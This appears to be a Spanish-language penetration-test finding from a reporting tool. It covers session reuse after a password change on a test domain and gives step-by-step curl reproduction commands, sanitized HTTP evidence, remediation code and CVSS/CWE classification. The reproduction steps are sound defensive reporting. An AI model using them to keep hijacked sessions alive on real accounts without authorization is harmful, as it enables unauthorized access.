flawtrace
← Volver a vulnerabilidades

FT-019 · Session Management

Sesiones activas tras el cambio de contraseña

app.acme.test

Media · CVSS 6.4

IMPACTO

Qué puede ocurrir

Una sesión robada sigue siendo válida después de que la víctima cambie su contraseña, de modo que el cambio no corta el acceso del atacante.

REPRODUCCIÓN

Prueba de concepto paso a paso

  1. 01

    Abrir dos sesiones con la misma cuenta

    Simulan el navegador de la víctima y el del atacante.

    curl -s -c victima.jar -X POST https://app.acme.test/login \
      -d 'email=pentest-user@acme.test&password=[REDACTED]'
    
    curl -s -c atacante.jar -X POST https://app.acme.test/login \
      -d 'email=pentest-user@acme.test&password=[REDACTED]'
  2. 02

    Cambiar la contraseña desde la primera sesión

    El cambio se completa correctamente y la aplicación muestra el aviso de éxito.

    curl -s -b victima.jar -X POST https://app.acme.test/api/account/password \
      -H 'Content-Type: application/json' \
      -d '{"current":"[REDACTED]","next":"[REDACTED-NUEVA]"}'
  3. 03

    Reutilizar la sesión antigua

    La segunda sesión sigue devolviendo 200 y datos de la cuenta media hora después del cambio.

    curl -s -b atacante.jar -o /dev/null -w '%{http_code}\n' \
      https://app.acme.test/api/account/profile
    # => 200

Ejecutado dentro de la ventana autorizada, con cuentas creadas para el ejercicio y sin extraer datos reales. Las credenciales aparecen siempre redactadas.

EVIDENCIA SANITIZADA

Cookie previa al cambio, aceptada después

GET /api/account/profile HTTP/1.1
Host: app.acme.test
Cookie: session=[REDACTED · emitida antes del cambio]

HTTP/1.1 200 OK
{"email":"pentest-user@acme.test","organization":"ACME"}

REMEDIACIÓN

Revocación del resto de sesiones

Revocar el resto de sesiones al cambiar credenciales, rotar el identificador de sesión y ofrecer al usuario una lista de dispositivos activos con opción de cierre.

await db.query(
  "DELETE FROM sessions WHERE user_id = $1 AND id <> $2",
  [user.id, currentSessionId]
);
await rotateSessionId(currentSessionId);

CLASIFICACIÓN

Ficha del hallazgo

Severidad
Media
CVSS v3.1
6.4
CWE
CWE-613
OWASP
A07:2021 · Identification and Authentication Failures
Validación
Validado · manual
Activo
app.acme.test

VECTOR

AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N

REFERENCIAS

Material de apoyo